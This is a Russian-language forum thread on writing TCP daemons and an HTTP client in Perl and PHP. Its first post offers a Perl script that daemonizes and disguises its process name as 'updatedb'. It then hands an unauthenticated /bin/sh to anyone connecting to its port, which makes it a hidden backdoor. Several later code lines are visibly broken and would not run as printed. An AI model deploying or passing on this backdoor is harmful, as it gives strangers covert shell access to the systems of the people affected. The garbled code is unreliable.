TCP демон

Естественно Перл. Возможно и очень просто. Вот пример - скрипт на перле, который открывает на порту командный интерпретатор:
#!/usr/bin/perl
$port = 32767; // порт на всякий случай
$port = $ARGV[0] if $ARGV[0]; // так-то порт берётся из командной строки
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket; // юзаем модуль сокет
socket(S, PF_INET, SOCK_STREAM, 0); // создаём сокет
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY)); // биндим
listen(S, 50); // слушаем
while(1) // всегда
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X"; // переправляем всё в порт
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh"); // запуск оболочки (для винды писать "cmd")
}
close X;
}

Вот что нашёл на PHP:

<?PHP

/*

PHP forked daemon
Standalone PHP binary must be compiled with --enable-sockets and --enable-pcntl
Dave M. -2002
Online Services USA
*/

function sig_handler($signo) {

switch($signo) {
case SIGTERM:
// handle shutdown tasks
exit;
break;
case SIGHUP:
// handle restart tasks
break;
case SIGUSR1:
print "Caught SIGUSR1...\n";
break;
case SIGCHLD:
while( pcntl_waitpid(-1,$status,WNOHANG)>0 ) {
}
break;
case SIGINT:
exit;
default:
// not implemented yet...
break;
}

}

function interact($sock) {

// Custom code goes here... e.g: socket_read() socket_write()...

}

function become_daemon() {

$child = pcntl_fork();
if($child) {
exit; // kill parent
}
posix_setsid(); // become session leader
chdir("/");
umask(0); // clear umask
return posix_getpid();

}

function open_pid_file($file) {

if(file_exists($file)) {
$fp = fopen($file,"r");
$pid = fgets($fp,1024);
fclose($fp);
if(posix_kill($pid,) {
print "Server already running with PID: $pid\n";
exit;
}
print "Removing PID file for defunct server process $pid\n";
if(!unlink($file)) {
print "Cannot unlink PID file $file\n";
exit;
}
}
if($fp = fopen($file,"w")) {
return $fp;
} else {
print "Unable to open PID file $file for writing...\n";
exit;
}
}

function change_identity($uid,$gid) {
global $pid_file;
if(!posix_setgid($gid)) {
print "Unable to setgid to $gid!\n";
unlink($pid_file);
exit;
}
if(!posix_setuid($uid)) {
print "Unable to setuid to $uid!\n";
unlink($pid_file);
exit;
}

}

error_reporting (4);

set_time_limit (0);

ob_implicit_flush ();

$pid_file = '/tmp/php_daemon.pid';

$underpriv_uid = '99'; // uid 99 == user nobody, at least on my system.
$underpriv_gid = '99';

$port = 10000;
$address = 0; // 0 binds to all addresses, may not work on fbsd

$quit = 0;

pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGINT, "sig_handler");

$fh = open_pid_file($pid_file);

if (($sock = socket_create (AF_INET, SOCK_STREAM, ) < {
print "socket_create() failed: reason: " . socket_strerror ($sock) . "\n";
}

if (($ret = socket_bind ($sock, $address, $port)) < {
print "socket_bind() failed: reason: " . socket_strerror ($ret) . "\n";
}

if (($ret = socket_listen ($sock, ) < {
print "socket_listen() failed: reason: " . socket_strerror ($ret) . "\n";
}

change_identity($underpriv_uid,$underpriv_gid);

print "Server ready. Waiting for connections.....\n";

$pid = become_daemon();
fputs($fh,$pid);
fclose($fh);

while(!$quit) {

if (($connection = socket_accept($sock)) < {
next;
}

if( ($child = pcntl_fork()) == -1 ) {
print "Could not fork!!\n";
print "Dying...\n";
$quit++;
}
elseif($child == {
socket_close($sock);
interact($connection);
exit;
}

socket_close($connection);

}

if(posix_getpid() == $pid) {
unlink($pid_file);
}

?>

Ну вот и сравни

(я только не понял, зачем ты это тут выложил )

Может кто из населения всё таки будет искать что нибудь на эту тему и ему это пригодиться

Кстать обьявилась проблемка с клиентом:

#!C:\usr\bin\perl\bin\perl5.8.0.exe -w
#print "Content-type: text/html; charset=windows-1251\n\n";

use Socket;

$host="ionix.centr.lan";
$port="80";

socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);

if(connect(SOCK, $paddr)){ print "ok";}
if(send (SOCK, "GET / HTTP/1.0\n\n", ){ print "ok";}
@data=;
close(SOCK);

По идее этот скрипт должен загрузить страницу сайта ionix.centr.lan
но при получении ответа:
@data=;
скрипт замерзает и ни чего не выдаёт.Есть мысли что делать? B)

попробуй вот это:

#!/usr/bin/perl -w
use IO::Socket;
print "Content-type: text/html; charset=windows-1251\n\n";
$serv = "ionix.centr.lan";
$path = "/index.php";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "fucke";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print <$socket>;

всё равно тоже самое.
Пробовали на другой машине всё получилось.
Фаерволы вырубал один фиг тоже самое.
Покрайней мере сейчас не могу понять причину такого поведения

А виндовый стандартный фаервол пробовали выключать? Хотя я не совсем представляю, как это может повлиять. Пока больше не знаю чем ещё помочь )